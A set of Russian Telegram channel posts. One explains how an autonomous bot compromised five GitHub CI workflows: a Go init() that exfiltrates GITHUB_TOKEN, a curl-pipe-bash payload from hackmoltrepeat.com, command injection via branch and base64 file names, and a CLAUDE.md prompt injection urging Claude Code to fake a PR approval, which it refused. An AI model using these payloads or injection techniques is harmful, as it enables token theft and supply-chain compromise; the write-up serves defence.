🧠 Контейнерный стек - кто за что отвечает

1. Podman
👉 альтернатива Docker без демона, можно запускать контейнеры rootless
🔗 https://podman.io

2. containerd
👉 низкоуровневый runtime, который реально контейнеры
🔗 https://containerd.io

3. CRI-O
👉 runtime специально для Kubernetes
🔗 https://cri-o.io

4. runc
👉 самый низкий уровень (OCI runtime)
🔗 https://github.com/opencontainers/runc

5. Buildah
👉 сборка образов без Docker
🔗 https://buildah.io

6. Kaniko
👉 сборка образов внутри Kubernetes
🔗 https://github.com/GoogleContainerTools/kaniko

7. nerdctl
👉 docker-подобный CLI для containerd
🔗 https://github.com/containerd/nerdctl

8. Rancher Desktop
👉 локальный Kubernetes + контейнеры
🔗 https://rancherdesktop.io

9. OrbStack
👉 быстрый dev environment для macOS
🔗 https://orbstack.dev

10. LXC / LXD
👉 системные контейнеры (почти как VM)
🔗 https://linuxcontainers.org

11. Colima
👉 лёгкая альтернатива Docker Desktop
🔗 https://github.com/abiosoft/colima

12. Lima
👉 лёгкая VM для macOS
🔗 https://github.com/lima-vm/lima

💡 Как это связать

👉 runc → запускает контейнер
👉 containerd / CRI-O → управляют контейнерами
👉 Podman / nerdctl → интерфейс
👉 Buildah / Kaniko → сборка
👉 Rancher / OrbStack / Colima → dev окружение
👉 Lima → VM база

👣 Полезные ресурсы Go 🚀Max

@Golang_google

📎 Один бот, пять техник

За неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый — curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.

Атака 1. avelino/awesome-go — кража токена через Go init()

Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.

Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.

В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:

func init() {
    _ = exec.Command("bash", "-c",
        `curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
        `-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
        `https://recv.hackmoltrepeat.com/ &&` +
        `curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}

Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер.

Атака 2. project-akri/akri — прямая инъекция в shell-скрипт

Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:

#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()

Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.

Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.

Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки

Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки:

dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)

Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:

  run: |
    echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref

Это превращалось в:

echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...

Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.


Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла

Бот создал файл с именем, содержащим закодированную команду:

documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md

При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.

Атака 5. ambient-code/platform — prompt injection в CLAUDE.md

Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.

Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.

Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.

Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.

🖥 На Stepik обновили курс «C# с нуля до профи»

Представьте: через четыре месяца вы открываете чужой .NET-проект и читаете его как книгу.

IServiceCollection не вызывает ступора. async Task<IActionResult> пишется на автомате. Вы точно знаете, почему EF Core сгенерировал именно такой SQL - и как переписать запрос, чтобы он летал.

Это не фантазия. Это результат после 16 модулей, в которых каждая концепция объясняется через код и закрепляется практикой.

ООП, SOLID, LINQ, async/await, DI, EF Core, ASP.NET Core, Docker, Kubernetes - всё, что казалось магией, станет рабочим инструментом.

А бонусом - портфолио проектов: от CLI-утилит и REST API до собственного SaaS с multi-tenancy, JWT и деплоем в Kubernetes под TLS.

Скидка - 58% доступна 48 часов: https://stepik.org/a/282984/

👣 Твой код на Rust компилируется, проходит тесты и является UB. Ты просто об этом не знаешь

Если взять случайный крейт с crates.io, поставить на него Miri и подождать минут пять, шанс увидеть красное сообщение про undefined behavior где-то в зависимостях стремится к единице. Чаще всего виноват не автор хитрого unsafe-блока ради скорости, а вполне обычная библиотека, которой пять лет, у которой звёзд на гитхабе больше, чем у твоего пет-проекта строчек кода, и которая всё это время спокойно лежит в продакшене.

Самое неприятное в этой истории то, что компилятор ничего не скажет. Тесты пройдут. Бенчмарки покажут красивые наносекунды. А потом LLVM 19 обновится до LLVM 20, поменяет один проход оптимизации, и твой сервис начнёт ронять прод по понедельникам. Чтобы понять, почему так происходит, придётся залезть в три темы, которые в обычной жизни Rust-разработчика не встречаются: pointer provenance, Stacked Borrows и пришедшую им на смену Tree Borrows.

https://uproger.com/tvoj-kod-na-rust-kompiliruetsya-prohodit-testy-i-yavlyaetsya-ub-ty-prosto-ob-etom-ne-znaesh/